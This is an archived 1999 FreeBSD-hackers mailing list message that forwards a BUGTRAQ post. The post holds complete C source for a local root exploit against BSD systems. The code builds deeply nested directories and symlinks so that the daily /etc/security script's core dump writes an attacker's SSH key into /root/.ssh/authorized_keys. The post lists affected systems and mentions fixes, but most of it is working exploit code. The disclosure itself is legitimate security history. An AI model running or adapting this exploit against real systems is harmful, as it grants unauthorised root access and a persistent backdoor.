Date: Thu, 26 Aug 1999 18:46:54 +0100 From: crypt0genic <crypt0genic@ecad.org> To: hackers@freebsd.org Subject: (forw) FreeBSD (and other BSDs?) local root explot Message-ID: <19990826184654.A489@ecad.org>
next in thread | raw e-mail | index | archive | help
--VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? -Emil -- Reverse engineering, the most fun and usually the most effective way to tackle a problem or learn something new. Public PGP key: http://www.ecad.org/crypt0genic_pgp_key Website: http://www.ecad.org/ --VS++wcV0S1rZb1Fb Content-Type: message/rfc822 Received: from localhost (localhost [127.0.0.1]) by tweak.home (8.9.3/8.9.3) with ESMTP id SAA00326 for <crypt0genic@localhost>; Thu, 26 Aug 1999 18:09:30 +0100 (IST) Envelope-to: zip@tinet.ie Delivery-date: Thu, 26 Aug 1999 17:12:52 +0100 Received: from mail.tinet.ie by localhost with POP3 (fetchmail-5.0.5) for crypt0genic@localhost (single-drop); Thu, 26 Aug 1999 18:09:30 +0100 (IST) Received: from amulon.lightrealm.com ([216.122.36.164] helo=ecad.org) by brockman.tinet.ie with esmtp (Exim 2.05 #23) id 11K28y-0000xZ-00 for zip@tinet.ie; Thu, 26 Aug 1999 17:12:52 +0100 Received: from lists.securityfocus.com (lists.securityfocus.com [216.102.46.4]) by ecad.org (8.8.7/8.8.5) with SMTP id JAA06463 for <crypt0genic@ECAD.ORG>; Thu, 26 Aug 1999 09:11:57 -0700 (PDT) Received: (qmail 71 invoked from network); 26 Aug 1999 08:16:39 -0000 Received: from lists.securityfocus.com (216.102.46.4) by lists.securityfocus.com with SMTP; 26 Aug 1999 08:16:39 -0000 Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 868445 for BUGTRAQ@LISTS.SECURITYFOCUS.COM; Thu, 26 Aug 1999 01:15:05 -0700 Approved-By: aleph1@SECURITYFOCUS.COM Received: from securityfocus.com (216.102.46.2) by lists.securityfocus.com with SMTP; 24 Aug 1999 21:48:23 -0000 Received: (qmail 17819 invoked by alias); 24 Aug 1999 21:48:22 -0000 Delivered-To: bugtraq@securityfocus.com Received: (qmail 17816 invoked from network); 24 Aug 1999 21:48:22 -0000 Received: from mx1.lublin.pl (root@212.182.63.76) by securityfocus.com with SMTP; 24 Aug 1999 21:48:22 -0000 Received: from lagoon.freebsd.lublin.pl ([212.182.117.180]:38159 "HELO lagoon.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP id <S1626661AbPHXVsB>; Tue, 24 Aug 1999 23:48:01 +0200 Received: (qmail 74242 invoked by uid 66); 24 Aug 1999 21:50:25 -0000 Received: (qmail 17335 invoked from network); 24 Aug 1999 21:47:14 -0000 Received: from lagoon.gadaczka.org (HELO lagoon.gadaczka.FreeBSD.lublin.pl) (venglin@192.168.0.2) by mailhost.gadaczka.org with SMTP; 24 Aug 1999 21:47:14 -0000 X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT MIME-Version: 1.0 X-SMS: +48601383657@text.plusgsm.pl X-PGP: PGP key on WWW or finger X-Operating-System: FreeBSD 3.2-STABLE (i386) Message-ID: <XFMail.990824234705.secure@FreeBSD.lublin.pl> Date: Tue, 24 Aug 1999 23:47:05 +0200 Reply-To: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL> Organization: Lubelska Grupa Uzytkownikow BSD Subject: FreeBSD (and other BSDs?) local root explot X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 /* (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl> bug in fts_print function allows to overwrite any file in system, when running /etc/security script (executed from 'daily' scripts). affected systems: - freebsd (all versions) - probably openbsd/netbsd fix: - limit root's coredump size - patch libc */ #include <stdio.h> #include <errno.h> #include <sys/stat.h> #include <strings.h> #include <unistd.h> #define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n" #define FILE "/root/.ssh/authorized_keys" #define CORE "find.core" #define DEPTH 300 #define BUFSIZE 250 int makedir(dir, linkfrom, linkto) char *dir, *linkfrom, *linkto; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; if (symlink(linkfrom, linkto) < 0) return -1; return 0; } int main(argc, argv) int argc; char **argv; { int i = 0; char pid[10], buf[BUFSIZE]; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, 0x41, BUFSIZE-1); for(i=0;i<DEPTH;i++) { if (makedir(STRING, FILE, CORE) < 0) { perror("makedir()"); return -1; } if(makedir(buf, FILE, CORE) < 0) { perror("makedir()"); return -1; } } return 0; } - --- * Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 * * Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF * -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQA/AwUBN8MS2P6SPyHAYTvjEQLK5ACfZ1cVpjGzqIF3bTsIX/wrahJOqy4AoOEx JkgnTo+Dk3QUFGT2bZdmxx9S =Tyvh -----END PGP SIGNATURE----- --VS++wcV0S1rZb1Fb-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19990826184654.A489>